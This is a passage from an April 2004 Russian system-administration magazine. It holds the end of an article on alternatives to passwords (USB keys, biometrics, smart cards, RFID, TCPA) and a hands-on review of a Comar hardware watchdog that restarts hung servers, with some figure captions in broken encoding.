процессе своей криминальной деятельности, вполне работают и сегодня. В марте этого года в прессе была опубликована информация о задержании москвича-мошенника, который торговал секретными PIN-кодами карточек экспресс-оп-
№4(17), апрель 2004
латы доступа в сети Интернет, при этом часть этих карточек даже не поступала еще в продажу. Как показало расследование, «все карточки экспресс-оплаты изготавливались в коммерческой типографии. В процессе изготовления некоторые карточки получались бракованными и уничтожались ненадлежащим способом, после чего просто выбрасывались на территории типографии», – отметили в пресс-службе. Молодой человек работал в одном из офисов, расположенном на территории типографии, где и подбирал остатки карточек, среди которых и были карточки указанной компании, а также многих других интернет-провайдеров, операторов IP-телефонии и сотовой связи. Собрав и сложив обрезки, он получил секретные PIN-коды.
Что же делать? Факты человеческой беспечности будут присутствовать в нашей жизни всегда. Однако вернемся все же к теме статьи. Попытаемся ответить на вопрос, что реально можно предпринять для решения проблем безопасности при использовании паролей. Одно из направлений работы может быть связано с ужесточением требований административного характера. Стандартной мерой является введение ограничения смены пароля через каждые три месяца, полгода, год, а также установка ограничения на сложность пароля в политиках безопасности операционной системы или на уровне домена (для Windows см. «Пароли должны отвечать требованиям сложности» или «Passwords must meet complexity requirements»). При этом помимо иных требований будет проверяться, не содержат ли пароли части имени пользователя или не используется ли последнее в их качестве. Также обязательным станет наличие заглавных букв, прописных букв и неалфавитных символов. Кроме того, будет проводиться проверка соблюдения минимальной длины пароля – 6 символов. Можно не сомневаться, что итогом такой профилактической работы по повышению уровня защиты паролей станет практика сохранения паролей на листочке (возможно, даже для лучшей защиты бумага с паролем дополнительно будет помещаться в сейф). Кроме того, администраторы получат дополнительную головную боль от обращений пользователей, забывших свои пароли (не секрет, что некоторые пользователи не помнят даже своего имени для входа в сеть). Однако давайте задумаемся о том, в чем же заключается суть проблемы при работе пользователей с паролем. Для этого сформируем основные свойства пароля, которые влекут за собой предпосылки к утечке конфиденциальных данных: ! Адаптированное для восприятия человеком представление. Пароль – это определенная комбинация, которую человек в состоянии запомнить и соответственно может забыть или раскрыть кому-либо. ! Возможность копирования. Пароль в его современном виде может быть продублирован различными способами, контроль за этими процессами невозможно наладить.
83
образование Следовательно, повышение надежности защиты пользователей может обеспечить отсутствие указанных свойств в ситуациях, когда необходима идентификация и аутентификация пользователей. Если человек не в состоянии запомнить информацию для доступа в сеть, значит, он не сможет ее никому раскрыть, даже по принуждению. Если информацию для доступа в сеть невозможно продублировать, значит, владелец и администратор могут ее гарантированно контролировать. Меньше проблем при этом возникает для ситуаций увольнений, когда сотрудник перед своим уходом передает данные аутентификации администратору корпоративной сети и гарантированно теряет возможность доступа к корпоративным информационным ресурсам. Далее в статье приводится попытка систематизировать информацию о существующих в настоящее время подходах, которые могут прийти на смену общепринятым паролям.
USB-ключи Наиболее перспективной альтернативой паролям остается использование для аутентификации пользователя USB-ключей, которые напрямую подключаются к компьютеру через порт USB (Universal Serial Bus). Размер таких устройств позволяет носить их в связке с обычными домашними ключами. Они не требуют дополнительных считывателей, имеют встроенную память 8/16/ 32/64 Кб для хранения персональной информации и удостоверений личности, а также независимый процессор для аутентификации и защиты данных при работе в сети. Все известные USB-ключи имеют уникальный серийный номер (32/64 бита). Данные на USB-ключе дополнительно защищаются с использованием так называемого PIN-кода. Кроме того, в функциональность USB-ключей включен генератор случайных чисел. С использованием таких устройств можно обеспечить работу с инфраструктурой открытых ключей – PKI. При этом весь процесс генерации вашего личного криптографического ключа, формирование электронной цифровой подписи никогда не выйдет за пределы USB-брелка (в случае аппаратной реализации криптоалгоритмов). В среднем стоимость USB-устройств составляет 30-50$, в зависимости от размещенного объема памяти и реализованных функций.
Ðèñóíîê 1. Èäåíòèôèêàòîð eToken R2
К наиболее часто встречаемым на рынке СНГ USBключам относятся следующие продукты: ! iKey – компании Rainbow Technologies (http://www.rainbow.msk.ru/); ! eToken – компании «Аладдин» (www.aladdin.ru). Заметим, что недавно в прессе появилась информация о выпуске Rainbow Technologies нового гибридного устройства под названием RfiKey, совмещающего в себе
84
USB-идентификатор iKey и технологии контроля доступа в здания с использованием бесконтактных (т.н. proximity) карт на частоте 125 кГц от HID Corporation в единое устройство для безопасного доступа в здания и доступа к защищенным данным. Несмотря на все свои преимущества USB-ключи обладают и недостатками. Основными проблемами, с которыми можно столкнуться при использовании USB-ключей, являются: ! поддержка в USB-ключах государственных криптографических алгоритмов электронно-цифровой подписи и шифрования (обычно в USB-ключах и программном обеспечении поддерживается работа только RSA и DES-алгоритмов); ! наличие аппаратной реализации криптографических операций (стойкость системы, построенной на основе ключей с программной реализацией, на порядок ниже, т.к. критические операции будут выполняться на вашем компьютере и потребуют извлечения из ключей в память компьютера секретных данных).
Биометрические устройства К биометрическим технологиям относятся распознавание индивидуальных особенностей пальца, рисунка радужной оболочки глаза, голоса, лица, фигуры человека. Согласно статистике, приведенной ниже, наиболее распространенным объектом биометрической идентификации пока остается палец.
Ðèñóíîê 2. Äàííûå Biometric market report 2000-2004
Биометрия – серьезный конкурент USB-ключам, и большие успехи в этой области ожидались уже в 2003 году. Однако ряд негативных моментов не позволил прогнозам сбыться. Одним из основных препятствий развитию рынка биометрических технологий специалисты считают отсутствие стандартов в этой отрасли. Серьезным минусом до последнего времени являлась очень высокая стоимость изделий (около $150). Недавно в прессе появилась информация о том, что компания APC выпустила компактное устройство персонального биометрического контроля доступа к компьютеру, которое должно появиться в продаже в марте 2004 года по цене $50.
Ðèñóíîê 3. USB-óñòðîéñòâî ïåðñîíàëüíîãî áèîìåòðè÷åñêîãî êîíòðîëÿ äîñòóïà ê êîìïüþòåðó êîìïàíèè APC
Не секрет, что в последнее время биометрией серьезно заинтересовались правительства различных госу-
образование дарств, что может свидетельствовать о хороших перспективах развития этой отрасли. Вот только краткая информация за 2004 год.
Евросоюз 20 февраля Еврокомиссия приняла предложения о включении биометрических данных в паспорта граждан Евросоюза. Согласно этим предложениям, все граждане стран ЕС, а также иностранцы, пребывающие в ЕС, должны будут пройти идентификацию 1800 характеристик лица, отпечатков пальцев для записи их в Шенгенскую Информационную Систему (SIS II). Аналогичные данные будут записаны в микрочип на паспортах.
Другие типы устройств, которые могут использоваться для авторизации пользователей Смарт-карты (микропроцессорные карты). Технология использования смарт-карт по своим внутренним функциям аналогична технологии USB-ключей, описанной выше. Отличие заключается только в том, что получение данных из смарт-карт предполагает наличие еще и считывателя, который может быть встроен в клавиатуру, подключен к COM, LPT или USB-порту. Соответственно наличие считывателя влечет за собой как удорожание проектов (стоимость считывателя составляет около $50, микропроцессорной карты – $5-20), так и вносит неудобства в процесс непосредственного применения.
Россия МВД России приступило к разработке новых загранпаспортов, содержащих биометрические данные. Основное их отличие от ныне действующих заключается в том, что документы нового поколения будут содержать в электронной форме сведения о биометрических данных их владельцев. На сегодняшний день в качестве биометрических данных, подлежащих обязательному внесению в заграничные документы, странами «восьмерки» предварительно определены закодированное изображение лица и отпечатков пальцев их владельцев.
США Программа VISIT, представленная Департаментом внутренней безопасности США, требует от всех претендентов на въездную визу иметь биометрическую информацию в паспортах к октябрю 2004 года.
Британия Предполагается, что будет создана централизованная база данных обо всех жителях Соединенного Королевства и введены обязательные биометрические идентификационные карты, которые должны будут включать рисунок радужной оболочки глаза, отпечатки пальцев или ладони. На первом этапе планируется включить биометрическую информацию в паспорта и водительские удостоверения граждан Британии. Кроме того, предполагается выдача идентификационных карточек гражданам ЕС и другим иностранным гражданам, проживающим в Великобритании. Идентификационные карты будут также предлагаться в качестве дополнительного документа гражданам, не имеющим паспорта или водительского удостоверения.
Китай Новые паспорта граждан должны включать информацию о рисунках отпечатков пальцев и сетчатки глаза. Помимо этого предполагается, что удостоверение личности будет содержать 18-битный код с генетической информацией о владельце. Для перехода на новые паспорта Китаю, по оценкам официальных лиц, понадобится пять-шесть лет. К недостаткам технологии биометрической аутентификации можно отнести пока еще высокую стоимость таких изделий, а также необходимость дополнительного устройства считывания биометрических данных, что является определенным неудобством при использовании.
№4(17), апрель 2004
Ðèñóíîê 4. Ìèêðîïðîöåññîðíàÿ êàðòà CryptoFlex è óñòðîéñòâî ÷òåíèÿ/çàïèñè ñìàðò-êàðò â âèäå FDD ACF30
iButton – разработка компании Dallas Semiconductor. Модельный ряд идентификаторов iButton довольно широк и разнообразен. iButton представляет собой микросхему, вмонтированную в герметичный стальной корпус. Корпус отдаленно напоминает батарейку для наручных часов и имеет диаметр 17,35 мм. Для передачи информации в компьютер используется считыватель, который может подключаться на COM, LPT или USB-порт компьютера. В конце 1990-х устройство достаточно широко использовалось для хранения конфиденциальных данных при разработке различных криптографических аппаратно-программных средств.
Ðèñóíîê 5. Ñòàíäàðòíûé âèä iButton
Несмотря на серьезные характеристики по надежности и малую стоимость устройства iButton не нашли широкого применения для аутентификации пользователей из-за небольшой емкости памяти (Кб информации), необходимости считывателя, зависимости его срабатывания от точности ручного соприкосновения идентификатора и считывателя, осуществляемого вручную. RFID-устройства (Radio Frequency Identification – радиочастотная идентификация) – устройства, аналогичные которым часто используют в системах контроля доступа и больше известны как proximity-карты. До настоящего времени RFID-технология не нашла применения при аутентификации пользователей компьютеров, однако активный интерес со стороны потребителей, а также развитие технологий в этой сфере может привести к тому, что широкое распространение таких устройств в нашей жизни позволит найти применение в сфере компьютерных технологий.
85
образование RFID-устройства представляют собой крохотную микросхему (разработка японской компании FEC Inc. – RFIDчип Manathir занимает площадь в половину квадратного миллиметра, стоимость около 10 центов), которая обычно не имеет собственного источника питания, но наделена памятью и антенной. В памяти обычно записан некий уникальный номер («идентификатор»), либо набор информации, хранящий полезные сведения о том предмете, на который помещен данный чип, а антенна служит для улавливания сигнала внешнего, расположенного от десятков сантиметров до нескольких метров, считывающего устройства – радиосканера и передачи ответа с использованием энергии принятых электромагнитных волн. RFID-технология разрабатывалась в качестве замены устаревшему штрих-кодированию. Применение RFID-устройств позволяет маркировать товары в магазинах розничной торговли, использовать при изготовлении банкнот и документов, имплантация в человеческие органы или использование других методов помещения подобных устройств на человека для контроля его перемещения.
Ðèñóíîê 6. ×èï, èìïëàíòèðóåìûé ïîä êîæó ÷åëîâåêà, øïðèö äëÿ åãî ââîäà è ñêàíåð VeriChip ïðîèçâîäñòâà àìåðèêàíñêîé êîðïîðàöèè Applied Digital Solutionsè (ADSX)
К недостаткам RFID-систем относят слабую электромагнитную защищенность (недавно компания RSA Security, продемонстрировала опытный образец системы Anti-RFID, позволяющей эффективно «глушить» радиосканеры RFID) и высокую стоимость (на отечественном рынке идентификаторы в зависимости от типа стоят от 1,3 до 5 долл., цена считывателей может превышать $150).
О внедрении стандартов TCPA В архитектуру персональных компьютеров, которая была разработана в 1980-х, не закладывались серьезные требования к вопросам безопасности (предполагалось, что компьютеры будут работать под управлением однопользовательской операционной системы, а подключение к Интернету даже не обсуждалось). Проблемы безопасности в основе компьютерных решений требовали принципиально новых решений, и в 1999 году был создан промышленный консорциум, объединивший свыше 100 технологических компаний, известный как Trusted Computing Platform Alliance – TCPA (http://www.trustedcomputing.org), определивший аппаратные дополнения к архитектуре персональных компьютеров, которые должны исправить некоторые недостатки безопасности. В мае 2003 года компания была реорганизована в новую отраслевую группу Trusted Computing Group (TCG), функции которой расширились на все виды программного и аппарат-
86
ного обеспечения, от компьютеров до PDA и сотовых телефонов. Результатом деятельности TCPA стали первая в мире BIOS, поддерживающая спецификацию TCPA 1.0 компании American Megatrends Inc. (AMI); процессор Prescott от Intel, в котором заявлена встроенная система защиты информации La Grande. У Microsoft есть свой Palladium, у VIA – Padlock. Несомненно, что определенный промежуток времени понадобится производителям программного обеспечения для того, чтобы поддержать аппаратные реализации спецификации TCPA на уровне операционной системы. Возможно, что в течение ближайших лет персональные компьютеры, удовлетворяющие требованиям TCPA, появятся в продаже. Тенденции решения вопросов безопасности на аппаратном уровне, несомненно, окажут влияние на весь спектр решений по компьютерной защите и скажутся на дальнейшем развитии технологий аутентификации пользователей.
Некоторые итоги Активно используемая парольная защита пользователей не удовлетворяет возросшим требованиям компьютерной безопасности. Пароль становится слабым звеном системы защиты и требует замены. В настоящее время, когда необходимо обеспечить достаточный уровень безопасности при аутентификации пользователей, альтернатив USB-ключам нет. Указанные устройства предлагают максимально возможный уровень комфорта для работы пользователей, а также гарантированный уровень безопасности при использовании схемы хранения и обработки личных секретных данных вне компьютера. Однако успехи в биометрической области, снижение себестоимости биометрических устройств аутентификации, а также развитие других технологий могут позволить через 2-3 года определить других лидеров для решений в области альтернатив парольной аутентификации пользователей.
Источники информации: 1. «Первая (отсутствующая) глава книги Кевина Митника», Компьютерная газета №1 (12 января 2004 г.) http://msk.nestor.minsk.by/kg/2004/01/kg40123.html; 2. «Office workers give away passwords for a cheap pen», J.Leyden http://212.100.234.54/content/55/30324.html; 3. «Как лучше потерять пароль», В.Демидов, Газета «Компьютерные Вести», №28, 2001 г. www.kv.by/index2001282201.htm; 4. «Новое лицо идентификационных устройств», Э.Кларк, Журнал «LAN», №09, 2000 г. http://www.osp.ru/lan/2000/09/059.htm; 5. «Аппаратно-программные средства контроля доступа», В. Шрамко, «PCWeek/RE», N9, 2003 г. 6. «A Security Analysis of the Secure Electronic Registration and Voting Experiment (SERVE)», January 20, 2004 г. http://www.servesecurityreport.org/; 7. «Защита подождет?», В.Соболев, Журнал «Мир ПК», №02, 2004 г. http://www.osp.ru/pcworld/2004/02/028.htm.
hardware
СТОРОЖЕВОЙ ПЕС
АНДРЕЙ БЕШКОВ 88
hardware На прошлой неделе редакция нашего журнала попросила меня провести тестирование в боевых условиях устройства watchdog, предназначенного для мониторинга и восстановления работоспособности зависших серверов через принудительный перезапуск. На первый взгляд такое устройство имеет немного шансов для массового применения, так как любой сервер априори задумывается как сущность, которая должна работать круглосуточно и бесперебойно. Многие системные администраторы гордятся тем, что под их командованием есть сервера, которые функционируют без перезагрузки по 360 дней и более. В то же время серверные операционные системы специально разрабатываются с прицелом именно на такой режим использования. Хотя, судя по моему опыту эксплуатации разнообразных серверных систем, это еще ничего не значит, и как показывает практика, вместо исправленных ошибок постоянно находятся новые. К сожалению, на свете не существует безошибочных программ, плюс ко всему довольно часто на сервере работают службы, написанные сторонними производителями. А это в свою очередь также добавляет в систему нестабильности. Учитывая то, что мы живем в неидеальном мире, часто складывается ситуация, когда сам сервер настроен не очень правильно из-за недопонимания основ функционирования системы или халатности администратора. Поэтому довольно часто случается, что сервера виснут намертво в самый неподходящий момент. Хорошо, если администратор рядом, а что делать, если его нет поблизости и никто не знает, что делать. Или представим, что зависание произошло ночью, ехать на другой конец города только ради того, чтобы запустить злополучный сервер, удовольствие не из тех, что хочется испытывать как можно чаще. Порыскав в сети, удалось узнать, что производителем устройства является Comar Technology. Честно говоря, сайт www.comar.ru дизайном не впечатлил, впрочем, тут же подумалось о том, что это не самое главное, поэтому, закрыв глаза на мелкие недочеты, я углубился в чтение технических спецификаций, инструкций по применению прибора и отзывов тех, кому уже пришлось воспользоваться данным устройством. Закончив с этим занятием, решил принять столь любезное предложение, да и самому было весьма интересно попробовать на зуб эту диковинку. Примерно через сутки расторопный и ужасно деловитый курьер DHL доставил загадочную посылку прямо на мой рабочий стол. С нетерпением разорвав упаковку, я стал разбираться в том, что находилось в заветном пакете. Итак, давайте посмотрим, что входит в стандартную поставку устройства watchdog. Сам прибор выглядит довольно просто, в то же время презентабельно, плюс ко всему выполнен из ударопрочного пластика, что отнюдь не маловажно в наше неспокойное время. В переднюю панель прибора встроены красный и зеленый светодиоды, служащие для индикации состояния самого устройства и наблюдаемого сервера. Там же находятся два переключателя. Черный подает питание на устройство, а серый разрешает ему работать в режиме мониторинга. Если перевести серый переключатель в положение «выкл», то прибор превращается в обычный электрический удлинитель и не пытается вмешиваться в работу сервера. Такой режим полезен при первоначальной настройке сервера.
№4(17), апрель 2004
Далее идет шнур RS232 для подключения к COM-порту компьютера. Два дополнительных провода бледнорозового цвета служат для присоединения к кнопке reset или power подопытного сервера. Это в свою очередь помогает правильно управлять питанием ATX серверов. В моем случае использовался именно такой сервер.
Следом за двумя вышеперечисленными предметами из коробки был извлечен знакомый всем до боли кабель для подвода электропитания.
89
hardware И на закуску прилагается CD-диск с документацией и прикладным программным обеспечением. Кстати, стоит отметить хорошее чувство юмора человека, писавшего документацию и комментарии внутри всех конфигурационных файлов. Итак давайте разберемся с тем, как работает весь комплекс. Приглядевшись к задней стороне прибора, видим, что электропитание стандартным шнуром подается на устройство и с него уже передается на сервер.
Инсталляция программного продукта начинается довольно буднично – с выбора каталога, где он впоследствии будет жить.
Затем нужно определить, в какой комплектации программа будет установлена. Тоже, казалось бы, простая задача. Но в реальной жизни все не так просто.
Таким образом, становится понятно, что watchdog может выключать и включать сервер, размыкая и соединяя вновь питающую цепь. Любопытный читатель обязательно спросит о том, как watchdog определяет, в каком состоянии находится наблюдаемый объект. Все очень просто: кабель RS232, о котором мы говорили ранее, подсоединяется одним концом к прибору, а вторым – к COM-порту сервера. На сервере устанавливается и запускается демон watchdogd, который через определенные промежутки времени посылает по кабелю Live-пакет. Устройство ловит его и понимает, что дела у сервера идут отлично и пока вмешиваться в работу системы не нужно. Два дополнительных провода подсоединяются к контактам кнопки power или reset. Довольно часто бывает, что после потери питания сервера, собранные в ATX-корпусах, не поднимаются самостоятельно при восстановлении подачи питания. Благодаря дополнительным проводам watchdog умеет правильно реанимировать их. Запуск сервера будет происходить точно так же, как если бы человек нажал на кнопку power. Итак, разобравшись с основными принципами функционирования следящего комплекса, давайте перейдем к практическим испытаниям работоспособности предлагаемой технологии. Пожалуй, начнем экспериментировать на сервере, работающем под управлением Windows. С помощью стандартного кабеля подаем питание на прибор watchdog и подсоединяем к нему сервер с помощью кабеля RS232. Сервер запитываем пока не от watchdog, а от обычной электросети. Включаем черный и серый переключатели. Оба светодиода начинают синхронно мигать раз в секунду. Это означает что прибор находится в режиме ожидания контакта с демоном watchdogd. Поступаем мы так с той целью, чтобы неосторожными движениями в процессе настройки и отладки не уронить наш сервер.
90
Вот тут нас уже поджидают первые неполадки. На снимке экрана четко видно, что нам предоставлена возможность самостоятельно выбрать, какие именно компоненты необходимо поставить. Свое волеизъявление можно выразить двумя путями, либо расставляя галочки рядом с нужными частями программного обеспечения, либо выбрав из ниспадающего меню одно из предопределенных типов установки. До тех пор, пока вы пользуетесь вариантом «Полная установка», никаких проблем быть не должно. Но стоит только выбрать опцию «Выборочная» или «Только документация», или отключить галочку напротив компонента «Серверное ПО», как вы начинаете стремительно приближаться к граблям, забытым разработчиками в коде инсталлятора. Дело в том, что в систему при данном раскладе не будет установлена ни служба watchdogd, ни вспомогательные утилиты. Соответственно при завершении установки получаем ошибку, запечатленную на следующем снимке.
Ничего удивительного в этом нет, инсталлятор всего лишь пытается запустить несуществующую службу. Неприятно, но все же не смертельно. После установки в системном меню появляются вот такие пункты.
hardware
Конечно, кроме пунктов, связанных с документацией, больше ничего в этом меню не функционирует. Ситуацию спасает лишь повторная установка полного набора компонентов. Все программы начинают нормально работать только при таком варианте инсталляции. Закончив с установкой, приступаем к конфигурированию. Производится оно с помощью редактирования файла настроек, находящегося по следующему пути – C:\Program Files\Comar\Watchdog\watchdog.conf. Тут нас ожидает очередной ляпсус, все комментарии в файле конфигурации написаны в кодировке koi8-r, что, скажем, выглядит довольно странно в системах Windows, родной кодировкой для которых является cp-1251. Комментарии почитать очень хочется, поэтому приходится одной копии файла дать расширение html и открыть ее в Internet Explorer, чтобы появилась возможность переключать кодировку текста, а вторую в редакторе дабы вносить в файл изменения, закрыв глаза на каракули. Опции, на значения которых нужно обратить пристальное внимание, перечислены ниже: ! rs_port – имя COM-порта, к которому подключен кабель от устройства watchdog. В моем случае это был COM1. Определить, какой порт будет у вас, можно, перебрав все возможные. Думаю, это будет нетрудно, ведь их всего четыре. ! test_host – адрес тестируемого хоста. Обычно используется localhost. ! test_port – порт тестируемой службы. Эта опция позволяет сервису watchdog проводить дополнительные проверки жизнеспособности машины. К примеру, может случиться так, что сервер отвечает по сети на ping, но все службы, кроме watchdog, на нем уже в нерабочем состоянии. Таким образом, указав номер порта интересующей службы, можно быть четко уверенным, что watchdog не перезапустит машину до тех пор, пока наблюдаемая служба жива. Для моего тестового сервера таким показателем служит 135-й порт, задействованный в стандартной реализации интерфейса вызова удаленных процедур (RPC). Ну а вы, к примеру, можете выбрать любой другой порт, на котором работает интересная для вас служба. Кандидатом на этот почетный пост может выступить, например, ssh, telnet, smtp или любая другая служба. ! ctl_secret – секретная фраза, которая будет использоваться во время общения между демоном watchdogd и устройством. Такая мера применяется ради повышения безопасности, хотя мне кажется весьма сомнительным, что кто-то будет пытаться взломать устройство с целью получить контроль над ним. Непонятно, как сделать это без физического доступа к устройству. В то же время, если есть физический доступ, то, наверное, целесообразнее взламывать сам сервер.
ны, можно пытаться запустить сервис watchdog. Немного подумав, специально решил проверить, каким образом обстоит дело с отладочными сообщениями и насколько удобно будет проводить по ним диагностику неисправностей и ошибок конфигурирования. Задавшись такой целью, я намеренно внес ошибки в конфигурационный файл. Проблема была в том, что я не вписал секретное слово в опцию ctl_secret. Как и ожидалось, ни с первого, ни с какоголибо другого раза запустить сервис не удалось, в ответ на все попытки на экране появлялось вот такое сообщение.
Ну что же, раз методом грубой силы заставить работать программу не удалось, значит будем искать причину неполадок. Посмотрев в системный журнал, в котором хранятся данные, связанные с работой приложений, можно увидеть записи о таком критическом событии.
Как видите, сообщение об ошибке, несмотря на свою краткость, точно и исчерпывающе описывает суть проблемы и явно указывает номер строки, а также опцию, на которой споткнулась программа. Удовлетворенные полученным результатом, ставим программе еще один жирный плюс. Исправив ошибку в конфигурационном файле, снова пытаемся запустить сервис. В этот раз все прошло как по маслу, сервис удачно стартовал, и в журнале системных событий можно увидеть следующие записи.
После того как эти минимальные настройки выполне-
№4(17), апрель 2004
91
hardware После того как демон успешно связался с устройством, зеленый светодиод начинает редко мигать. Такое состояние дел указывает на то, что сервер в порядке и устройство работает в штатном режиме. Плюс ко всему в директории C:\Program Files\Comar\Watchdog\log\ появятся файлы протокола, отражающие четкую последовательность происходивших событий и действий, предпринятых устройством в случае, если требовалось его вмешательство.
Думаю, что вышеприведенные записи в файле протокола, описывающие ход одного из моих экспериментов, довольно легко понять. Судя по надписям, я очень часто прерывал работу устройства и сервера самыми разными способами. Если обратиться к документации, то можно узнать, что именно означает каждое ключевое слово и какие события стоят за ним: ! watchdog on – произошло включение устройства; ! repower – watchdog выполнил прерывание питания сервера; ! notify: boot – произошел первый запуск демона; ! restart procedure – начата процедура перезапуска сервера; ! normal shutdown – сервер начал плановую остановку, в отличие от события repower, четко видно, что тут вмешался пользователь и вручную остановил сервер; ! watchdog locked – устройство вошло в режим блокировки; ! watchdog unlocked – устройство разблокировано; ! reset – watchdog перезапущен командой reset. Изначально все события между перезагрузками сервера хранятся в энергонезависимой памяти устройства и в момент удачного контакта с демоном watchdogd записываются в файл протокола на жестком диске. Такая возможность мне кажется очень полезной, поэтому добавляем комплексу еще один плюс. Даже при многократных перезагрузках сервера, происходивших в отсутствие администратора, протокол не портится и продолжает пополняться событиями. Время, которым помечены все происходившие события, обязательно будет совпадать с вре-
92
менем системных часов сервера. Это возможно реализовать благодаря тому, что в устройство встроены автономные часы с питанием от батарейки. При получении Live-пакета часы устройства будет установлены на то же самое время, что и часы сервера. При таком потреблении батарейки должно хватить на долгие годы. Кстати, при желании можно легко заглянуть внутрь прибора и самолично оценить простоту и изящество внутреннего устройства.
Кстати, стоит отметить, что производитель устройства не запрещает вам самостоятельно собирать прибор, на сайте компании можно свободно скачать принципиальную схему устройства. Так же есть возможность переделывать программу демон под свои собственные нужды, хотя удалять реквизиты фирмы создателя, выводимые на экран во время загрузки программы, запрещено. Второе ограничение накладывается на продажу третьим лицам приборов созданных самостоятельно. Впрочем, судя по заявлениям разработчиков, и этот вопрос вполне решаем, видимо нужно будет отчислять некоторые проценты с продаж в пользу развития проекта. Итак, завершив начальные тесты, пришло время заняться серьезными вещами. Выключаем сервер через системное меню, созданное watchdog, или через использование программы wd_ctl. В результате этого действия сервер должен быть остановлен, и оба светодиода должны погаснуть. Если все произошло именно так, значит watchdog сейчас находится в состоянии блокировки и не будет пытаться поднимать сервер, даже если мы отключим устройство и сервер от электропитания, а потом снова включим. Признак блокировки записывается в энергонезависимую память и хранится там до тех пор, пока мы самостоятельно не включим сервер и автоматически запущенный демон watchdogd не снимет его первым Live-пакетом. Теперь нам нужно отключить сервер от электросети для того, чтобы запитать его от устройства watchdog. Сделав это, затаим на секунду дыхание и нажмем на кнопку «power». Как и ожидалось, сервер загрузился, и устройство перешло в штатный режим работы. А теперь давайте проверим, как устройство отреагирует на потерю сигнала, с этой целью отключаем от сервера кабель RS232 либо останавливаем демона. В зависимости от настроек устройство ждет прибытия сигнала от демона строго отведенное время и затем начнет подготовку к перезапуску сервера. Красный светодиод нач-
hardware нет часто мигать, указывая на то, что сейчас произойдет прерывание питания. Если присоединить кабель на место или вновь запустить демона, то положение нормализуется и снова редко замигает зеленый огонек, но мы делать этого не станем. Еще через несколько секунд красный огонек начнет гореть постоянно, и мы услышим характерный щелчок реле, разрывающего цепь питания. Сервер должен пройти через стандартную процедуру загрузки, интересно, что будет, если начать вмешиваться в этот процесс и не давать ему завершиться. С этой целью можно или нажать и удерживать любую клавишу, тем самым генерируя ошибку диагностики клавиатуры, либо сразу после завершения диагностики входить в настройку BIOS. Таким образом мы сможем имитировать потенциально опасные ситуации, такие как возникновение аппаратных неполадок на сервере или, к примеру, долгий процесс починки файловой системы. Как только время, отведенное на нормальную загрузку сервера (по умолчанию это пять минут) истечет, watchdog снова прервет питание. Но мы опять не даем серверу нормально загрузиться. Подождав еще пять минут, устройство снова перезагрузит сервер, в случае неудачи такая последовательность будет повторена еще один раз. Поняв, что так быстро сервер поднять невозможно, watchdog увеличит интервал ожидания до 30 минут. Стоит заметить, что все настройки, влияющие на поведение watchdog, можно изменить сообразно собственному понимаю того, как должна вести себя мониторинговая система. Исхода у описанных выше событий может быть два: либо сервер поднимется после столь долгой паузы самостоятельно и watchdog это сразу же заметит, либо после нескольких проходов по циклу наступит рабочий день и администратор вмешается в ход событий. Такая интеллектуальность в выполнении функций позволяет быть уверенным, что watchdog не доведет сервер до смерти бесконечными перезапусками. Закончив изуверские фокусы с Windows, перейдем к UNIX-системам. Тестирование устройства производилось под управлением ALT Linux Master 2.2 и FreeBSD 4.9. Процесс сборки и последующей инсталляции прост, как три копейки, а посему доступен даже самому неопытному администратору. Большим плюсом программного обеспечения watchdog является тот факт, что оно написано на языке C и не содержит в себе каких-либо объектно-ориентированных излишеств, поэтому для его компиляции не нужно никаких сторонних пакетов, только стандартные библиотеки языка C. Такая простота, заложенная в изначальный дизайн программы, позволяет перенести ее на любую UNIXплатформу без каких-либо существенных изменений. Нынче же приступим к компиляции, для этого нужно всего лишь распаковать исходные тексты демона и утилит, затем перейти в получившуюся директорию и выполнить команду make. Конфигурационный файл будет скопирован в /etc/watchdog.conf, а демон и вспомогательные утилиты – в /sbin. Протоколы работы будут складываться в /var/log/watchdog. Для Linux создаем свой собственный скрипт загрузки демона в каталоге /etc/rc.d, где хранятся сценарии запуска всех остальных системных демонов и не забываем создать на него ссылку из каталога пред-
№4(17), апрель 2004
ставляющего соответствующий уровень выполнения. Для FreeBSD такую команду можно добавить в системный файл /etc/rc или создать свой скрипт в /usr/local/etc/rc.d. Если файл конфигурации демона watchdogd по какой-либо причине называется не /etc/watchdog.conf, то нужно обязательно передать демону правильное имя с помощью опции –f. Кроме изменения настроек /etc/watchdog.conf, больше можно ничего не делать. Впрочем, изменять настройки несложно, так как файлы конфигурации идентичны для Windows и UNIX-платформ. В остальном же функционирование программы под управлением UNIX ничем не отличается от работы Windows. Еще одним интересным для нас моментом является понятие «мертвая зона». Во время загрузки сервера бывают такие моменты, когда процессы, происходящие внутри, лучше не прерывать. Примером такого опасного процесса может служить программа fsck, выполняющая починку файловой системы после неудачного завершения работы. В такие моменты самое лучшее, что может сделать watchdog, – это не вмешиваться в естественный ход событий. Под UNIX такого эффекта добиться довольно легко, нужно всего лишь добавить в системные скрипты перед командой fdisk команду wd_ctl dzone_in, указывающую watchdog, что сервер вошел в мертвую зону и его нельзя тревожить. И затем команду wd_ctl dzone_out, уведомляющую устройство о том, что мертвая зона благополучно пройдена. По идее, никто не мешает нам описать не одну, а несколько мертвых зон при необходимости. К сожалению, под Windows выполнить подобные трюки, по крайней мере сейчас, невозможно по той простой причине, что не совсем понятно, как встроить выполнение своей программы в системный загрузчик, не нарушив ход его выполнения. Мое повествование о работе с watchdog подходит к концу. Хотелось бы сказать, что комплекс кажется мне достаточно зрелым и надежным для того, чтобы его можно было с успехом применять в мониторинге серверов. Очень понравилась гибкость настроек и простота конфигурирования устройства. Собственноручно протестировав все режимы работы прибора, могу сказать, что его поведение точно соответствует характеристикам, заявленным разработчиками. За исключением мелких ошибок, о которых я писал выше по тексту, нескольких опечаток в документации и довольно скудного описания процесса инсталляции на UNIX-платформу недостатков найдено не было. Кстати, еще интересен вопрос о том, как watchdog будет справляться с оборудованием, у которого два независимых ввода питания и автоматическое переключение между ними. Видимо, для этого придется создавать какую-то новую модель устройства. В качестве пожелания разработчикам можно сказать, что хотелось бы видеть несколько устройств watchdog, собранных в один корпус, таким образом, разработка будет лучше всего подходить для монтажа в стандартную серверную стойку. В такой вид устройства можно было бы и веб-интерфейс встроить. Хочется выразить огромную благодарность Владимиру Ропаеву за труды по созданию фотографий, использованных в этой статье. На этой приятной ноте хотелось бы закончить на сегодня наше, надеюсь, приятное для многих общение.
93
подписка на II полугодие 2004 Российская Федерация ! Подписной индекс: 81655 !
!
!
